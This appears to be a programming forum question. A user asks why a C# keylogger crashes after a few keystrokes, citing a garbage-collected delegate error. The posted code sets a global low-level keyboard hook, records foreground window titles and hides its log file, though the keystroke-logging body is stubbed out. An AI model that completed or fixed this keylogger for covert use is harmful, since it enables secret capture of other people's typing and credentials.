title: Keylogger program crashes
body: <p>I had been working on a key-logger in C#, windows forms, and I'm stuck up on some point.When I run my code, it works fine and records 20-25 keystrokes, but after that the program suddenly crashes and these are the error messages shown: (the first one completely stumps me)</p>
  
  <p>1.A callback was made on a garbage collected delegate of type 'karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke'. This may cause application crashes, corruption and data loss. When passing delegates to unmanaged code, they must be kept alive by the managed application until it is guaranteed that they will never be called.</p>
  
  <p>2.Then it shows 'Object Reference not set to an instance of the object.(Iam familiar with this one)</p>
  
  <p>Code is as follows:</p>
  
  <pre><code>using System;
  using System.Collections.Generic;
  using System.ComponentModel;
  using System.Data;
  using System.Drawing;
  using System.Linq;
  using System.Text;
  using System.Windows.Forms;
  using System.IO;
  using System.Security;
  using System.Security.AccessControl;
  using System.Security.Principal;
  using System.Runtime.InteropServices;
  using System.Timers;
  using System.Diagnostics;
  
  
  namespace karan_keylogger
  {
      public partial class Form1 : Form
      {
          KeysConverter kc;
          private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
          //private static LowLevelKeyboardProc keyhook = detect;
          StreamWriter sw;
          private const int WM_KEYDOWN = 0x0100;
          bool shiftDown, inBetween, numLockPressed;
          string currWindow, prevWindow,path;
          IntPtr x;
          [DllImport("User32.dll")]
          public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
          [DllImport("User32.dll")]
          public static extern int GetForegroundWindow();
          [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  
          [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          [return: MarshalAs(UnmanagedType.Bool)]
          private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  
          [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
              IntPtr wParam, IntPtr lParam);
  
          [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          private static extern IntPtr GetModuleHandle(string lpModuleName);
  
          public Form1()
          {
              InitializeComponent();
              kc = new KeysConverter();
              path="E:\\data.txt";
              shiftDown = false;
              //shiftUp = true;
              inBetween = false;
              numLockPressed = false;
              currWindow = getTitle();
              prevWindow = currWindow;
              File.SetAttributes(path,FileAttributes.Normal);
              sw = new StreamWriter(path, true);
              sw.AutoFlush = true;
              sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
              File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
              LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
              Process curProcess = Process.GetCurrentProcess();
              ProcessModule curModule = curProcess.MainModule;
              //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
              x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
         }
  
          private void Form1_FormClosing(object sender, FormClosingEventArgs e)
          {
              UnhookWindowsHookEx(x);
          }
          private string getTitle()
          {
              int handle = GetForegroundWindow();
              StringBuilder sb = new StringBuilder(1000);
              GetWindowText(handle, sb, 1000);
              string winText = sb.ToString();
              return winText;
          }
  
          private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
          {
              // logic for keystroke storing
              return CallNextHookEx(x, ncode, wparam, lparam);
          }
      }
  }
  </code></pre>
  
  <p>Any help would be really appreciated, this is a pet project!..</p>